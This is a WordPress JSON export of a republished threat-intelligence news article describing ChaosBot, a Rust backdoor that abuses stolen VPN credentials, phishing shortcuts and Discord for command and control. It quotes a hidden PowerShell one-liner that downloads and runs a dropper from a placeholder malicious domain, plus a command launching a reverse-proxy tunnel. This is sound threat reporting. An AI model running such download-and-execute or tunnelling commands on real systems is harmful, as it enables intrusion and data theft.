{"id":7599,"date":"2025-10-11T10:03:56","date_gmt":"2025-10-11T10:03:56","guid":{"rendered":"https:\/\/serisec.com\/index.php\/2025\/10\/11\/new-chaosbot-leveraging-ciscovpn-and-active-directory-passwords-to-execute-network-commands\/"},"modified":"2025-10-11T10:03:56","modified_gmt":"2025-10-11T10:03:56","slug":"new-chaosbot-leveraging-ciscovpn-and-active-directory-passwords-to-execute-network-commands","status":"publish","type":"post","link":"https:\/\/serisec.com\/index.php\/2025\/10\/11\/new-chaosbot-leveraging-ciscovpn-and-active-directory-passwords-to-execute-network-commands\/","title":{"rendered":"New Chaosbot Leveraging CiscoVPN and Active Directory Passwords to Execute Network Commands"},"content":{"rendered":"

New Chaosbot Leveraging CiscoVPN and Active Directory Passwords to Execute Network Commands
\n \t

\n
<\/BR>
\n
\n \t

\n
<\/BR><\/p>\n

\n

ChaosBot surfaced in late September 2025 as a sophisticated Rust-based backdoor targeting enterprise networks. Initial investigations revealed that threat actors gained entry by exploiting compromised CiscoVPN credentials coupled with over-privileged Active Directory service accounts.<\/p>\n

Once inside, ChaosBot was stealthily deployed via side-loading techniques using the legitimate Microsoft Edge component identity_helper.exe<\/em> from the C:UsersPublicLibraries<\/code> directory.<\/p>\n

The malware\u2019s Rust<\/a> implementation and reliance on Discord for its command and control (C2) operations underscore an innovative blend of modern development practices and misappropriated mainstream services.<\/p>\n

eSentire analysts noted<\/a> that the threat actor behind ChaosBot operated through a Discord profile named \u201cchaos_00019,\u201d suggesting a deliberate attempt to mask communications within popular social platforms.<\/p>\n

Victim demographics indicate a focus on Vietnamese-speaking environments, although lateral movement experiments on differing targets have been observed.<\/p>\n

\n
\"\"
Attack Chain (Source \u2013 eSentire)<\/figcaption><\/figure>\n<\/div>\n

The combination of VPN credential<\/a> abuse and over-privileged AD accounts enabled seamless WMI-based remote execution, facilitating widespread deployment before detection.<\/p>\n

Following initial compromise, ChaosBot conducts reconnaissance and establishes a fast reverse proxy (frp) tunnel to maintain persistent access.<\/p>\n

The malware downloads frp<\/code> and its configuration file (node.ini<\/code>) into C:UsersPublicMusic<\/code>, then launches the proxy via a PowerShell-executed shell command:-<\/p>\n

powershell -Command \"$OutputEncoding = [System.Text.Encoding]::UTF8; C:UsersPublicMusicnode.exe -c C:UsersPublicMusicnode.ini\"<\/code><\/pre>\n
This sequence creates a hidden communication channel over port 7000 to a remote AWS host, bypassing perimeter defenses and supporting subsequent lateral movements.<\/p>\n
Infection Mechanism<\/strong><\/h2>\n
The core infection mechanism of ChaosBot leverages two primary vectors: credential-based access and malicious Windows shortcuts.<\/p>\n
In the former, valid CiscoVPN credentials and an over-privileged AD account named \u201cserviceaccount\u201d are used to run WMI commands that drop and execute the ChaosBot payload (msedge_elf.dll<\/code>) on remote hosts.<\/p>\n
The shortcut vector involves phishing emails containing .lnk<\/code> files that execute a PowerShell<\/a> one-liner to fetch and launch ChaosBot while opening a decoy PDF themed after the State Bank of Vietnam to distract the user.<\/p>\n
\n
\"\"
PowerShell-based malicious shortcut (Source \u2013 eSentire)<\/figcaption><\/figure>\n<\/div>\n
This PowerShell command resembles:<\/p>\n
powershell -WindowStyle Hidden -Command \"Invoke-WebRequest -Uri 'hxxps:\/\/malicious-domain\/dropper.exe' -OutFile $env:Tempchaosbot.exe; Start-Process $env:Tempchaosbot.exe\"<\/code><\/pre>\n
Upon execution, ChaosBot validates its embedded Discord bot token with a GET request to https:\/\/discord.com\/api\/v10\/users\/@me<\/code>, then creates a dedicated channel named after the victim\u2019s hostname using a POST to https:\/\/discord.com\/api\/v10\/guilds\/<GUILD_ID>\/channels<\/code>.<\/p>\n
Subsequent shell commands fetched from Discord messages are executed in new PowerShell processes prefixed with UTF-8 encoding directives to preserve output integrity.<\/p>\n
Results, including stdout, stderr, screenshots, or file attachments, are returned to the threat actor\u2019s Discord channel via multipart\/form-data POST requests.<\/p>\n
This dual-vector approach\u2014credential exploitation and social engineering<\/a> using malicious shortcuts\u2014combined with the use of legitimate services for C2, makes ChaosBot particularly challenging to detect and remediate.<\/p>\n
Asset masquerading through built-in Windows binaries and rigorous encoding practices further obscure its presence within targeted environments.<\/p>\n
Follow us on\u00a0Google News<\/a>,\u00a0LinkedIn<\/a>,\u00a0and\u00a0X<\/a>\u00a0to Get More Instant Updates<\/strong>,\u00a0Set CSN as a Preferred Source in\u00a0Google<\/a>.<\/strong><\/p>\n
The post New Chaosbot Leveraging CiscoVPN and Active Directory Passwords to Execute Network Commands<\/a> appeared first on Cyber Security News<\/a>.<\/p>\n<\/div>\n
 \t

\n 
<\/BR>
\n    Tushar Subhra Dutta
\n \t

\n
<\/BR>
\nGo to cyber-security-news<\/a>
\n \t

\n 
<\/BR><\/p>\n","protected":false},"excerpt":{"rendered":"
New Chaosbot Leveraging CiscoVPN and Active Directory Passwords to Execute Network Commands ChaosBot surfaced in late September 2025 as a sophisticated Rust-based backdoor targeting enterprise networks. Initial investigations revealed that threat actors gained entry by exploiting compromised CiscoVPN credentials coupled with over-privileged Active Directory service accounts. Once inside, ChaosBot was stealthily deployed via side-loading techniques […]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[129,63,649],"tags":[130],"class_list":["post-7599","post","type-post","status-publish","format-standard","hentry","category-cyber-security","category-cyber-security-news","category-threats","tag-cyber-security-news"],"_links":{"self":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/7599"}],"collection":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/comments?post=7599"}],"version-history":[{"count":0,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/7599\/revisions"}],"wp:attachment":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/media?parent=7599"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/categories?post=7599"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/tags?post=7599"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}